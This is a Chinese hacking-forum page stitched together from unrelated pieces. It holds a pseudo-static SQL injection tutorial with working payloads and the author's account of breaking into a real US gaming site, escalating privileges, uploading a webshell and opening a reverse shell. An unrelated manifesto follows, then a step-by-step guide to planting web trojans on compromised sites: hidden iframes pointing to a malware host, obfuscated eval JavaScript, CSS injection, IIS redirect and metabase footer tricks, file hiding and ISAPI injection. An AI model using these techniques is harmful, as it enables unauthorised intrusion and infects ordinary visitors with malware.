2012年1月

伪静态,主要是为了隐藏传递的参数名,伪静态只是一种URL重写的手段,既然能接受参数输入,所以并不能防止注入。目前来看,防止注入的最有效的方法就是使用LINQ。常规的伪静态页面如下:http://www.XXX.com/play/Diablo.html, 在看到之前先要确定这个页面是静态还是伪静态,鉴别方法很多。

 
例如关联的动态页面是game.php ,那么当用户访问后程序会自动转换成类似http://www.XXX.com/game.php?action=play& name=Diablo 的形式,当然这部分是PHP执行的所以在访问时看不到。假如name=Diablo这个参数有注入点但是访问的是伪静态页面,那么注入的语句其实差不多,不过如果是MYSQL数据库是不能用注释符的,因 为注释的斜杠会被当成目录访问,那么就会出现问题,所以这里的注入需要把语句补全。
 
注入点检测可以用:http://www.XXX.com/play/Diablo’ and 1=’1.html与http://www.XXX.com/play/Diablo’ and 1=’2.html来判断,联合查询我也试过,不过失败了。我用的语句如下:http://www.XXX.com/play/diablo’ and 1=2 union select 1,2… from information_schema.columns where 1=’1.html,但是测试了N次都不能成功,有可能程序的SQL语句后面还有其他条件,具体原因没仔细看。
 
所以这个时候只能用盲注来检测,不过因为伪静态注入的URL比较特殊,一般的注入工具是利用不了的,所以就把刺猬写的COOKIES注入中转器的 get方式注入的代码修改了一下,只要把注入的参数写成Diablo ,然后在提交的语句后面加上.html那么就可以直接放到穿山甲里注入了。
 
注入的速度就看中转的速度了,感觉用低版本的穿山甲效果更好,高版本有可能因为速度比较快所以在猜解字母的时候会导致部分内容检测不到。为了更好的解释伪静态,先看看四种伪静态的php实现方法:
 
 
代码
//伪静态方法一
 
// localhost/php100/test.php?id|1@action|2
$Php2Html_FileUrl = $_SERVER["REQUEST_URI"];
echo $Php2Html_FileUrl.”
”;// /php100/test.php?id|1@action|2
$Php2Html_UrlString = str_replace(“?”,”",str_replace(“/”, “”, strrchr(strrchr($Php2Html_FileUrl, “/”),”?”)));
echo $Php2Html_UrlString.”
”;// id|1@action|2
$Php2Html_UrlQueryStrList = explode(“@”, $Php2Html_UrlString);
print_r($Php2Html_UrlQueryStrList);// Array ( [0] => id|1 [1] => action|2 )
echo “
”;
foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr)
{
$Php2Html_TmpArray = explode(“|”, $Php2Html_UrlQueryStr);
print_r($Php2Html_TmpArray);// Array ( [0] => id [1] => 1 ) ; Array ( [0] => action [1] => 2 )
echo “
”;
$_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1];
}
//echo ‘假静态:$_GET变量
’;
print_r($_GET); // Array ( [id|1@action|2] => [id] => 1 [action] => 2 )
echo “
”;
echo “”;
echo $_GET[id].”
”;// 1
echo $_GET[action];// 2
?>
 
代码
//伪静态方法二
 
// localhost/php100/test.php/1/2
$filename = basename($_SERVER[''SCRIPT_NAME'']);
echo $_SERVER[''SCRIPT_NAME''].”
”;// /php100/test.php
echo $filename.”
”;// test.php
 
if(strtolower($filename)==’test.php’){
if(!empty($_GET[id])){
$id=intval($_GET[id]);
echo $id.”
”;
$action=intval($_GET[action]);
echo $action.”
”;
}else{
$nav=$_SERVER[''REQUEST_URI''];
echo “1:”.$nav.”
”;// /php100/test.php/1/2
$script=$_SERVER[''SCRIPT_NAME''];
echo “2:”.$script.”
”;// /php100/test.php
$nav=ereg_replace(“^$script”,”",urldecode($nav));
echo $nav.”
”; // /1/2
$vars=explode(“/”,$nav);
print_r($vars);// Array ( [0] => [1] => 1 [2] => 2 )
echo “
”;
$id=intval($vars[1]);
$action=intval($vars[2]);
}
echo $id.’&’.$action;
}
?>
 
代码
//伪静态方法三
 
function mod_rewrite(){
global $_GET;
$nav=$_SERVER["REQUEST_URI"];
echo $nav.”
”;
$script_name=$_SERVER["SCRIPT_NAME"];
echo $script_name.”
”;
$nav=substr(ereg_replace(“^$script_name”,”",urldecode($nav)),1);
echo $nav.”
”;
$nav=preg_replace(“/^.ht(m){1}(l){0,1}$/”,”",$nav);//这句是去掉尾部的.html或.htm
echo $nav.”
”;
$vars = explode(“/”,$nav);
print_r($vars);
echo “
”;
for($i=0;$i
$_GET["$vars[$i]“]=$vars[$i+1];
}
return $_GET;
}
mod_rewrite();
$year=$_GET["year"];//结果为’2006′
echo $year.”
”;
$action=$_GET["action"];//结果为’_add’
echo $action;
?>
 
代码
//伪静态方法四
 
//利用server变量 取得PATH_INFO信息 该例中为 /1,100,8630.html   也就是执行脚本名后面的部分
if(@$path_info =$_SERVER["PATH_INFO"]){
//正则匹配一下参数
if(preg_match(“/\/(\d+),(\d+),(\d+)\.html/si”,$path_info,$arr_path)){
$gid     =intval($arr_path[1]); //取得值 1
$sid     =intval($arr_path[2]);   //取得值100
$softid   =intval($arr_path[3]);   //取得值8630
}else dIE(“Path:Error!”);
//相当于soft.php?gid=1&sid=100&softid=8630
}else dIE(‘Path:Nothing!’);
?>
代码
PHP防注入,主要是为了防止恶意写入后台数据库;
//防注入函数
function inject_check($sql_str){
$check=eregi(‘select|insert|update|delete|\’|\/\*|\*|\.\.\/|\.\/|union|into|load_file
|outfile’, $sql_str);
if($check){
echo ” 输入非法内容”;
exit();
}else{
return $sql_str;
}
}
//接收传递参数后进行转换
$_GET[type]=inject_check($_GET[type]);
//之后再使用转换后的参数
 
之前写的这篇关于伪静态注入的文章,写的比较简单基本上只算是对伪静态注入的方法和原理做了简单介绍,很多细节方面的东西都没有提到,不过要纠正一点,伪 静态注入一样可以用联合查询的,只是具体的字段数要一个一个猜,这个有点麻烦,今年主要在看老美的网站,发现很多伪静态站点都有注入点,只是大部分注入点 都比较隐蔽所以在渗透的时候需要花费很多时间,这里就以美国某游戏站点的渗透作为实例,介绍一下整个渗透利用过程。
 
前段时间比较无聊,上了某游戏站点放松,发现那个站做的很不错而且在线人数达到1W多,因为我是在白天访问的当时美国应该是晚上,所以可以看出这个 站的流量非常大,去alexa上查了一下排名在4千左右,流量25W,那么这个站流量估计有50W+,看了口水都留下来了!!!随即打算检测一下这个网站 的安全性,访问了整个网站只有2个页面是调用PHP的,但是没有注入点,整个网站大致信息如下:APACHE、PHP、数据库未知(应该是MYSQL 吧)、伪静态页面(检查后发现的)、后台找不到、不能破解目录(访问不存在的页面或目录后会返回首页,状态码始终是200和301,扫描的时候会有很多误 报)、可以注册(没有注入点)、不能上传文件、没有常见的配置漏洞(比如目录浏览之类的)、没有扫到冗余文件、没有FTP、没有SSH、端口扫描后也没有 发现。似乎这个网站很棘手,毕竟别人也是排名4K内的站啊!!!在GG、baidu上搜了一下PHP以及敏感的页面也没新发现,其实有时候用百度搜国外站 的收录页会有惊喜哦!因为这个站是伪静态的,所以对主要的几个页面做了伪静态的注入测试,但是都没漏洞,也不知道这个网站是用什么模版做的。用旁注工具扫 了一下域名,发现服务器上绑定了十几个站,悲剧的是所有站用的是同一个网站模版,所有情况和主站一样。估计到这里很多人都想到C段吧,可惜老外的IDC比 较怪,一般不会把一个C放在一个交换机环境里,我碰到最BT的是把子网掩码设为255.255.255.252,稍微好点的是 255.255.255.244,就算弄到同网段的,一般都是LINUX服务器,提权超难,公布的0day基本都不行,所以C段直接放弃。
 
关注入点继续回到网站上,注册了一个账号,看了一下用户功能,基本上只有修改自己信息的权限,COOKIES方面测试了一下没漏洞,不过发现网站管理 员的账号和注册人员是同一个表的,把URL里的ID改一下就能获得用户名,可惜只有用户名,而且用户名还很BT,哎!!!!难啃的骨头,继续深入~~~~ 看到游戏页面后找到一个投票的连接,抓包后发现也是伪静态(连接类型如下:http://www.XXXXX.com/vote/5453/1), 通过伪静态的注入点检测确定存在注入漏洞并且提交后会执行update语句,检测时提交以下语句(http://www.XXXXX.com/vote /5453′/1 报错,http://www.XXXXX.com/vote/5453-0/1 返回正常游戏名字 http://www.XXXXX.com/vote/5453-1/1 返回5452的游戏名字,判断存在注入点)连接的表是member,可惜显示的出错语句很复杂,各种符号都有,想了几种办法也都没补全,而且数据库中的表 和列也都不知道,似乎只有看源码后才能构造注入语句,鸡肋的注入点,余下来看完了整个网站也只发现一个暴物理路径的漏洞,又是鸡肋!似乎初步的检查到这步 已经完成了,一个字,难!
 
因为弄到很晚所以睡觉了,隔了几天还是时不时的上来看看网站、看看管理员在线状态,一个星期后觉得很不爽,再次打开这个网站,然后把注册页面、登陆 页面、提交页面作为关键字去网上找相同模版,这次终于有发现了,找到一个新部署的网站,而且后台路径是admin管理员账户是默认的admin,进去后发 现后台可以直接拿SHELL,然后去网上查了一下这个网站的0day,但是比较老所以无法利用,看了一下源码也只发现那个鸡肋的注入点,这个时候忽然想到 了什么,通过上传的SHELL查看数据库的表结构,原来member的表中有一个管理员的选项,设为1就是普通用户,设为2就是管理员,这样就能通过那个 注入点提升权限了,而且在php页面中看到了投票的SQL语句,在构造之后直接在游戏站上测试(语句如下:http://www.XXXXX.com /vote/5453;}’,xxx=’xxx’,xxx=’{xxxx/1), 成功提升为管理员(经过验证发现只要用这个网站模版都可以提权,又一个0day!),而且发现只要账户具有管理权限,前台页面中会以黄色显示用户名,狂喜 之下登陆游戏站,发现在用户界面中多了一个管理员登录的选项,可是!!!悲剧再次发生,连接的目录是默认路径,后台找不到,是在不甘心用平时用的后台扫描 字典,以及自己生成了1-5位的数字以及字符的字典放到havij里爆破,因为havij可以DIY状态代码,所以我把200和301的状态去掉了,扫了 3天后无果!!!!纠结!!!!
在1个星期之后的某天再次打开这个网站,用一个网上下的字典再次扫了整个目录,这次发现在根目录里有一个server-status,访问之后狂 喜,里面有APACHE提供当前服务的URL,所以用户访问的页面都能检查,然后找了website watch进行监控,设置了一些关键字后以平均每3秒钟对该页面检测一次,如果发现有关键字就以MAIL方式报警,同时把有关键字的页面覆盖在邮件中,2 天后成功抓到后台页面,打开后发现是401验证,网站没有下载和FL漏洞,用获取的管理员信息尝试登陆,结果统统失败,感觉脑子都充血了!!!!对了,不 是还有UPDATE权限的鸡肋注入点吗!!由于MYSQL的关系,无法把同表中的内容更新到同表的其他列中,所以第一次失败了,上网查了一下重新构造语句 成功,拿到的是管理员md5的密码,上CMD5上查到源码,然后用管理员的账户通过了401验证,成功登陆后台,进去后随便逛了一下上传 webshell,反弹cmdshell,发现是X64的系统,用了网上找的道的所有EXP都不能提权,不过发现服务器上有2个外网IP,另外一个IP可 以链接FTP和SSH,用了管理员的密码以及passwd里的用户名登陆结果发现网管用了公钥验证,RSA加密,直接访问存放public key的目录显示DENY,直接下载公钥还是DENY,不过可以看所有网站目录。
到这步基本上网上入侵成功了,可是还没提权,不过把管理员的用户名放到GG上搜了一下发现到处都有他的”足迹”,而且都不能用他的密码登陆,只能社 工和跟踪了,看来又是一个漫长的提权过程,整个网站入侵从开始到拿到权限大致用了2个月时间,等有时间了就想办法提权,谢了稍微多了一点,其实伪静态注入 的利用价值还是很高的,而且结合其他鸡肋的安全问题可以直接威胁到网站甚至服务器的安全,相比之下国内站台烂了,即时LINUX有了WEBSHELL 80%都可以提权,用public key做SSH验证的基本没见过,大概这就是差距吧,先写到这里吧,等有时间了写一个完整的关于伪静态注入和检查方法!!!

摘自 : 落泪红尘's Blog      

    新年伊始,由90ITer联盟提出,黑客X档案、微交流、智凝学会、DSU、桂林火端网络科技有限公司商务经理陈庆华、清华科技园天津分园运营总监周雪峰、爱公益联盟发起人费阳共同修改起草的“ITer宣言”正式在中国互联网八大团体同时对外发布,共创互联新兴力量未来。
    据悉,此次由90ITer联盟发起,八大团体共同发布的“ITer宣言”目的是激励新兴科技力量自身良好发展、吸引业界更加关注中国新兴科技力量的进步,为中国互联网的新时代增添活力而团结新科技力量而写的基于“自由、开放、创新”理念的新一代宣言。标志着新兴科技力量正在逐步登上未来互联科技发展舞台,成为科技界互联网界越来越重要的力量。并逐渐掌握开放与发展的规律并为之努力和延伸它们的意义。
    “ITer宣言”的撰写源于2011年中国互联网与中国科技界的开放、共赢与团队成功之经验,是新兴力量首个宣言式的发展目标。为团结更多的新兴科技力量而更加团结合作,共克难关,共享成果。同时也为推动中国互联网的自由宽松的发展环境贡献了自己的力量。
以下为宣言正文:
ITer宣言
新兴科技力量们:
    我们正处于科技发展的青壮年时期,科技与互联网正在蓬勃发展。而未来的形势将取决于我们现在对待的态度与增长的能力。为此,我们需要“自由、开放、创新”的理念在未来能够继承与发展。
    自由,自由是作为一个人的基本权利,也是科技发展的最主要的推动力,我们要坚持这样的信念,坚持在自由的环境下进行这样的发展与合作。不畏艰险,不畏怨恨,不计前嫌,即使没有自由也要创造出自由,为未来科技的发展贡献力量。
    开放,开放的团队,开放的个人是发展创新的前提,我们需要每个人、每个团队的开放,共同携手应对现在的挑战,创建美好的明天。开放是共赢的,封闭是必败的。不要让一些恩恩怨怨阻碍开放的继续,开放造就奇迹。
    创新,作为科技的重要支柱,我们秉承创新之理念必不可少,作为创新之源,我们需要以整个时代的眼光来看待每一个团队每一个个人的价值,不以创新为己有,不以抄袭为做法。和睦对待每一个创新,和平对待同一个创新。
努力吧,广大的新兴科技力量们!未来在我们之手,互联才能创造崭新的未来!

开始语

摘自 :  dashige's捕捞歌

目录

一 最简单的挂马方式
1.iframe挂马法
2.js文件挂马法
3.CSS中挂马

二 挂马技术升级—进阶篇
1.window.status=''方式
2.JS重定向挂马
3.手动挂马文件隐藏小技巧

三 服务器上挂马技术
1.MetaBase.mxl
2.ISAPI加载挂马

四 GXM挂马时的辅助工具与技巧
1.ASP封包挂马
GXM挂马时的辅助工具与技巧
2.修改最后文件修改日期工具
GXM挂马时的辅助工具与技巧
3.监控特定文件自动插马的无赖工具

五 最后总结

开始语
很多人非常鄙视挂马,但作为HACK必须了解的技术,我们还是要研究的。本文将很细致的讲解挂马,主要就是让一无所知的菜鸟懂得如何挂马。

一,最简单的挂马方式

1. iframe挂马法

作为挂马中最常用的语句,虽然简单,但还是要说下,为了广大的菜菜们。首先解释下iframe标签,它代表HTML内联框架,尤其是以下属性:

提示:
name     定义两人内容页名称,此名称在框架页内连接时会使用到
frameborder   定义了内容页的边框,取值为(1|0).缺省值为1
marginwidth   定义可框架中HTML文件显示的上下边界的宽度,取值为px,缺省值由浏览器决定
marginheight  定义可架框中HTML文件显示左右边界的宽度,取值为px,缺省值由浏览器决定
elign   垂直或水平方式
height  框架的高度
width   框架的宽度

一 般我们常用的属性就是height和width,因此为了让客户看不到我们的网马,就设置height为0,width为0.我们本地测试下,利用记事本 新建一个文件,然后输入代码:<iframe src=http://www.baidu.com width=50></iframe>,保存为*.htm文件。
当把width和height都设置为0后,页面就相当于被"隐藏"了起来,实际中只要把以上代码中src后的地址改成网马地址就可以了。

2. js文件挂马法
由于iframe所利用的代码很明显,由经验的管理员一搜索就可以找到,所以又有人想出了js文件挂马,这招在06年的时候很流行,现在还是主流哦!
首 先建立一个文件,保存为1.htm,里面写入代码为:<script language=javascript src='http://137.0.0.1/tg.js'></script>,因为我是在本地测试的,目录是D:\website 里面有个tg.js文件。

tg.js文件里写挂马语句,比如说:

document.write("<iframe src=http://www.c3389.com width=100 height=100></iframe>");
好了,写完后保存文件,然后访问下1.htm就可以看到效果了。
其实
<script language=javascript src='heep://127.0.0.1/tg.js'></script> 就是调用了tg.js这个文件,当别人访问1.htm的时候就调用tg.js,然后再根据tg.js文件里的内容去访问我们的网马。

这 样,管理员在1.htm中搜索iframe就与挂马无关了,但我们却又能调用网马。 为了让管理员搜索不到iframe字样,最好的办法还是对js文件里的内容进行加密,复制我们JS文件里的内容,把他们转成其他进制。我这有个软件可以进 行转化操作,将要加密的内容复制到"要转的"输入框里,然后单击"给我转!",分别就会在"输出的八进制"和"输出的十六进制"处出现转换后的内容,然后 我就转换八进制复制下来,在js文件里这么写:

eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\42\74\151\146\162\141\155\145\40\163\142\143\75\150\164\164\160\72\57\57\147\147\147\56\142\141\151\155\165\56\143\157\155\40\167\151\144\164\150\75\61\60\60\40\150\145\151\147\150\164\75\61\60\60\76\74\57\141\146\162\141\155\145\76\42\51\73")
这样就OK了!已经没有iframe字样了,这确实在早期是个挂马的好招,但是现在这几招也骗不了厉害的管理员了,所以挂马技术还要在研究下去……

3.CSS中挂马
要 想在CSS文件中挂马,先来了解什么是CSS文件。CSS是Cascading Style Sheets的简称,一般称为"层叠样式表",实际上它是一组样式。你可能对CSS这个名词比较陌生,实际上你在浏览网页时,当前网页页面说不定就使用了 CSS。用好CSS能使网页编辑者在排版和设置功能时更加明了。

CSS的语句是内嵌在HTML文档内的,所以,编写CSS的方法和编 写HTML文档的方法一样,只需要在引用CSS的页面部插入<link href="css.css" type="text/css" rel="stylesheet">这样的代码即可。其实就是在当前页面调用外部文件的实现。这跟挂马自然比较"亲近"了。
现在我们就 来CSS中的挂马。首先建立一文件为1.htm,然后写入<link href="css.css" type="text/css" rel="stylesheet">并且保存。接着在同目录下用记事本新建一个css.css文件,里面代码如下
body  {  background-image: url('javascript:document.write("<lframe src=http://www.c3389.com width=50 height=50></iframe>")')  }
再次访问 1.htm,成功调用百度的页面,图就不抓了,和以前没什么区别。不过听网上说,这样的办法会把网站搞乱,说不定会一片空白。那好吧,我们继续网上教的办 法,首先建立一个gxm.htm文件,里面调用CSS文件。调用代码为<link href="css.css" type="text/css" rel="stylesheet">,然后在css.css文件里写入如下代码:
body  {  background-image: url(javacrip:open('http://127.0.0.1/gxml.htm'.'newwindow'.height=0. width=0. top=1000. left=0. toolbar=no. scrollbars=no. resizable=no.location=no.    atus=no'))  }

以上代码是弹出一个窗口,为了部让网站成为一片空白,所以在gxml.htm文件里我们还要继续动手,写段调用js文件的代码,顺便再写段关闭窗口的代码,全部代码如下:
<script src="http://127.0.0.1/gxm.js"></script>      '这个就是我们要真正放木马的地方  <script>  window.opener=null; steTimeout("window.close();".5000)    '意思是5秒关闭对话框,你可以设置,5000的单位是毫秒,5000毫秒就=5秒。  </script>    然后在gxm.js文件里加入这段代码:
document.write('<lframe src=http://www.c3389.com width=500 height=500></iframe>'); 编写好后,我们浏览gxm.htm文件,弹出一个窗口,窗口中的内容是调用的指定站点,大家可以把它修改为自己的挂马的地址。

好了,最基础的部分结束了,我也把自己会的东西很详细地说了一遍,目地还是为了我们这些什么都不懂,而又想学习的菜鸟。当然,这类菜鸟先要懂得如何使用 webshell,这个是前提。至于高手,可以跳过这部分,下面的一大部分里准备了进阶篇,可能有些内容对于高手来说还是比较简单的,但这几招没有被重 视。

二 挂马技术升级—进阶篇

1.window.status='';方式
大家在尝试用iframe的时候,有没有发现IE6.0浏览器中下面的状态栏会出现网马的地址?对于有经验的管理员来说,不是自己网站和熟悉的地址,查看后在一访问就知道是网马。因此,我们要让这个地址不能出现。
现在解释下window.status='';是什么意思,其实它是JS中的windows对象,status只不过是它的属性而已。有关windows对象的介绍如下

---------------------------------------------------------------------------------------------------------------------------------------------
windows对象
它是一个顶层对象,而不是另一个对象的属性

相关属性

defaultStaus   缺省的状态条消息
document     当前显示的文件
frame     窗口里的一个架框,该属性本身也是一个对象
frames array      列举窗口的架框对象的数组,按照这些对象在文档中出现的顺序列出,该属性本身也是一个对象
history     窗口的历史列表,该属性本身也是一个对象
length     窗口类的框架数
location    窗口所显示的文档完整(绝对)URL,该属性本身也是一个对象,不要把它如document,location混淆,后者是当前显示文档的URL。用户可 以改变windows,location(用另一个文档取代当前文档),但却不能改变document,location(因为这是当前显示文档的位置)
name   窗口打开时,赋予该窗口的名字
opener    代表使用windows.poen打开当前窗口(这是Netscape Navigator 3.Obeat 3所引入的新属性)
parent   包含当前架框的窗口的同义词。frame和windows对象的一个属性
self    当前架框的窗口的同义词
status  状态条中的消息
top   包含当前架框的最顶层浏览器窗口的同义词
window    当前窗口或架框的同义词,一self相同

方法

alert()    打开一个Alert消息框
clearTimeout()    来终止setTimeout方法的工作
close()    关闭窗口
confirm()    打开一个Confirm消息框,用户可以选择OK或Cancel。如果用户单击OK,该方法返回true,单击Cancel返回false
biur()   把焦点从指定窗口移开(这是Netscape Navigator 3.0 beta 3 映入的新方法)
foc()    把指定的窗口带到前台 (另一个新方法)
open()   打开一个新窗口
prompt()   打开一个Prompt对话框,用户数可向该框键入文本,并把键入的文本返回到脚本
setTinmeout()    等待一定指令的毫秒数时间,然后运行指令处理程序
Onliad()    页面加载时触发
Onunload()    页面关闭是触发
--------------------------------------------------------------------------------------------------------------------------------------------
这 样,一般只要在JS文件里这样写:window.status='狂人影子';,就能在IE左脚下那里出现"狂人影子"的字样了,而不会出现地址了。当 然,如果把"狂人影子"用空格代替,IE左脚下显示就是空白了,因此,JS挂马的是时候,我们可以在JS文件里写入如下代码:

window.status="":  document.write("<iframe src=http://www.c3389.com width=0 height=0></ifame>"); 其实,我在搞入侵的时候,无意看到别人的代码是这样写的:

window.defaultStates="完成";这又什么用?看看defaultStates属性的解释把,其实是个障眼法,应用的很巧妙,呵呵……(看不明白的话,你的悟性还不够啊!)

2.JS重定向挂马

这 招其实在以前的《黑客手册》上出现过,是剑心大牛的以前文章,我个人感觉这招太牛了,优点就是能躲过N多管理员,缺点就是目标的网站JS文件必须流量大, 这样才有挂马的效果,呵呵!本菜以前有幸入侵过一个音乐站,流量N大,但是它的站右下角经常出现一个JS控制的,类似QQ消息的那种东西。因此。我用了剑 心大牛的那招,因为网马免杀,管理员察觉后查了N天都查不到,最后无赖而重装系统来解决问题。至于这个是什么招?让我来一一解答。

如果你碰到一个流量很大的JS文件(特别是一些音乐站点的音乐播放列表),并且有管理员权限,服务器的WEB是用的微软的IIS,保证网马免杀,速度不卡,那么安定日子你就可以过下去了…………

神神秘秘说了那么多,很吊大家胃口啊,其实就是在JS文件上做手脚!
大 家还记得IIS配置漏洞吗?就是建立一个没有路径的虚拟目录,这样在IIS里是不可见的,比如一个站的流量JS文件是gsm.js,那么我们也建立一个没 有物理路径的虚拟目录gxm.js,然后重定向文件到我们设置的远程地址的JS文件,自然那个原本的JS文件就失去作用了,因为虚拟目录优先于物理目录。 说了这么多。可能很多菜鸟不懂,那我们来实践下就非常明白了。
adsutil.vbs文件放在C:\inetpub\Adminscripts\adsutil.vbs CREATE WSVC/1/Root/gxm "llsWebVirtualDir"
大家可能什么都不懂,我们可以输入cscript Adsutil.vbs来看一下返回信息:
------------------------------------------------------------------------------------------------------------------------
Usage:
ADSUTIL.vbs<cmd>[<path>[<value>]]
Description:
IIS administration utilit that enables the configuration of metabase properties
Supported Commands:      //支持的命令,这个最重要
GET.SET.ENUM.DELETE.CREATE.COPY.APPCREATEINPROC.APPCEATEOUTPROC.APPCREATEPOOLPROC.APPDELETE.APPUNLOAD. APPGETSTATUS
------------------------------------------------------------------------------------------------------------------------
可 以看见,重要的就是支持的Supported Commands命令,我们刚刚输入的命令中,就用了CREATE这个命令。在回头来看看建立虚拟目录的命令,参数中W3SVC/1/Root/gxm代 表是只第一个web服务器地址里的虚拟目录gxm,因此我们要找的就是我们站点的web服务地址。
不可能IIS里就一个站把?现在许多用虚拟主机 的服务器,一般IIS里可能有上百个站呢!我们该怎么的快速寻找了?本人奉献自己的经验给大家:安装IIS后,在服务器上一般都有 MetaBase.xml这个文件(注意,我的XP系统里却没有这个文件。一般的服务器只要安装了IIS,都应该有这个Metbase.xml这个文 件),它的位置在C:\windows\system32\inetsrv下.
一般我们挂马的站点那个站的域名,搜索http://www.c3389.com,大家看见没有那个Location =后面的一串信息就是我们需要挂的站http://www.c3389.com里的目录了,真正应用时还应该加上root,完整的地址是/ML/W3SVC/1540331721/ROOT.
得到了地址,下面就可以打开CMD来创建我们的虚拟不可见的目录了!命令如下:
------------------------------------------------------------------------------------------------------------------
cscript C:\inetpub\AdminScripts\adsutil.vbs CREATE W3SVC/1/Root/gxm/ "llsWebVirtualDir"
创建gxm虚拟无物理路径的目录
cscript C:\inetpub\AdminScripts\adsutil\adsutil.vbs CREATE W3SVC/1/Root/gmx/gmx.js "llsWebVirtualDir"
在gxm虚拟目录里创建gxm.js虚拟无物理路径的目录.
-----------------------------------------------------------------------------------------------------------------------------
接下来就是重定向目录了,命令为:c:\inetpub\adminscripts\adsutil.vbs setW3VC/1/Root/gxm/gxm.js/httpredirecrhttp://www.c3389.com/ADMIN/LDJT/sms.js
-------------------------------------------------------------------------------------------------------------------------------
这样我们一执行,因为虚拟目录比物理路径优先,所以只要调用gxm.js这个文件,就会先访问我们虚拟目录里的这个。但是这个文件因为被我们重定向了,所以会传到
http://www.c3389.com/ADMIN/LDJT/sms.js去,因为这个sms.js文件控制了真正的物理路径里的gxm.js文件。就算管理员这么修改物理路径里的gxm.js,其结果还是去调用我们的sms.js文件。
这样,只要我们在sms.js文件里挂马就行了,呵呵……很巧妙的一招吧!大家要多多练习才能熟练哦

3,手动挂马文件隐藏小技巧

接下来讲讲本人对付一些笨蛋管理员的小招(看过本文的就不能算是笨蛋管理员了),还记得病毒是怎么隐藏自身文件的吗?他们一般就是修改注册表的相关键值,那我们和不利用下?
比如我们有个数据库连接文件comm.asp,由于每个文件都调用,因此就可以把挂马语句放在最里面然后对他进行加隐藏和只读属性(实现把挂马语句放进去)的操作。怎么加了?在CMD模式下输入命令
: attrib +r +h 文件即可。
-r -h -s 的意思就是取消指定文件或目标的只读.隐藏.系统属性,相反的  +r +h +s  就是加上只读.隐藏.系统属性。
当 把文件加了隐藏属性后,一定要把"资源管理器"- "工具"-"文件夹选项"里的"显示隐藏文件"屏蔽掉!我们可以通过简单的修改注册表来达到目地。进入注册表,找到 HKEY_LOCAL_MACHINESOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHWALL 下的CheckedValue值,修改成0就可以了,1是恢复,当修改成0后,"显示隐藏文件"就固定在不显示的那个选项上了。
这个是从病毒里学习到的小技巧,看来研究病毒还是很有用的,呵呵……这部分就结束了,下面还又跟我来的挂马技术等着大家了。
三,服务器挂马技术
其实挂马肯定得在服务器上挂的,但这里的服务器挂马是讲利用服务器本身相关文件进行挂马,而且这些文件比较特殊,一般管理员还不能删除。在服务器上挂马,只要流量大,那个效果真是……当
然,得先用netstat -an来看看连接80端口的个数,选择好目标就准备下手了。
1、MetaBase.xml文件修改挂马
大家应该还记得我们在前面才刚刚说过的MetaBase.mxl文件吧?位置在C:\WINDOWS\SYSTEM32\inetsrv,它可真的很重要!首先我们必须有这个服务器的管理权限,然后打开MetaBase.mxl文件,搜索
DefaultDoc="Default.aspx,Default.htm,Default.htm,Default.asp,index.htm,index.asp",
然 后在DefaultDoc下面,DirBrowseFlags的上面加一段话,就是: DefaultDocFooter="FILE:C:\inetpub\wwwroot\iisstart.htm",这个在C:\Inetpub \wwwroot\iisstart.htm  文件里写我们挂马的语句,尽量隐蔽点。接着在DownlevelAdminlnstance="1"下面 再添加一句EnableDocFooter="TRUE",完成后如下
------------------------------------------------------------------------------------------------------------------------------------------------
DefaultDoc="Default.aspx,Default.htm,Default.asp,index.htm,index.asp"
DefaultDocFooter="FILE:C:\inetpub\wwwroot\iisstart.htm"
DirBrowseFlags="DirBrowseShowDate | DirBrowseShowTime | DrBrowseShowSize | DirBrowseShowExtension | DirBrowseShowLongDate | EnableDefaultDoc"
DownlevelAdminlnstance="1"
EnableDocFooter="TRUE"
------------------------------------------------------------------------------------------------------------------------------------------------
这 个时候我们肯定保存不了,因为IIs在调用这个文件,那这么办?我们必须停止IIS!在CMD中输入iisreset /stop,然后以最快的速度保存文件。保存好后,在CMD中输入iisreset /start重新启动IIS,然后就等着服务器流量给你的快感吧,呵呵……

2.ISAPI加载挂马

小知识:
什么是ISAPI: 它是互联网服务应用程序编程接口(Internet Sever Application Programming Internet)的缩写,是一组API函数,可以用来开发扩展IIS程序
------------------------------------------------------------------------------------------------------------------------------------------------
这种方法需要使用一些工具,步骤是:首先打开GetiD.exe获取注册号,然后运行IIS_AD.exe生成DLL文件,加载到IIS应用池就OK了。有了它,服务器任何的一个页面都会广告代码或者网马代码。
我们先看看初始的IIS_AD.ini文件里的内容:
Copy code
[IIS_AD]
ADjs=<script language='JavaScript>alert(' Welcome to User IIS AD ! ' );</script>
------------------------------------------------------------------------------------------------------------------------------------------------
现在开始注册,首先打开GetID.exe,然后点获取,获得注册账号,复制下注册号,然后打开IIS_AD.exe,把注册号粘贴进去,接着把时间调远点,最后点生成。
接着我们修改iis_ad.ini的文件,它本来是:
[IIS_AD]
ADjs=<script language=' javasecript' >alert(' Welcome to User IIS AD ! '):</script>

我们就修改成

[IIS_AD]
ADjs=<iframe scr=http://http://www.c3389.com width=600 height=700></iframe>
------------------------------------------------------------------------------------------------------------------------------------------------
下面我们要把ad.dll和iis_ad.ini这两个文件藏的深一点,打开IIS在("控制面板"—"管理工具"—"Internet 信息服务"),在要挂马的站点上按鼠标右键选择"属性",在"ISAPI"标签选项中,把我们的DLL文件添加进去。
好了,现在随便访问这个站的一个页面就会执行我们的代码,我在XP下的IIS测试通过。在2003下,我要说点事情,加载DLL文件的时候,首先把DLL和INI放到一个目录,然后给予足够的权限,在加载
ISAPI DLL文件。接着在IIS下"允许所有未知ISAPI",在WEB服务扩展下加载DLL文件,然后重启IIS
四. gxm挂马时的辅助工具与技巧

最后一大部分了,也是我自己在挂马中所领悟出来的超级独家经验大放送的时候了,呵呵。可能技术不太高超,但也是自己的一点心得,与大家分享,希望大家好好学习。

1. ASP封包挂马

大家知道吗?有些高级的ASP代码是封装在DLL文件里面的,比如自己开发的ASP组件,目的就是不公布代码,而且一些自己用ASP脚本写的常用函数也可以封装在DLL里。挂马技术就是为了让管理员看不到我们的iframe标签,因为有iframe才能挂马。
不知道这种ASP封包挂马技术大家自己手动搞过没有?反正是我自己想出来的,就算别人以前也知道,那也是思路相同而已,绝不存在抄袭,我在这里就教给大家吧。前提条件是要求我们有管理员权限(毕竟DLL文件是需要注册的)和目标必须是用ASP脚本建立的站点。
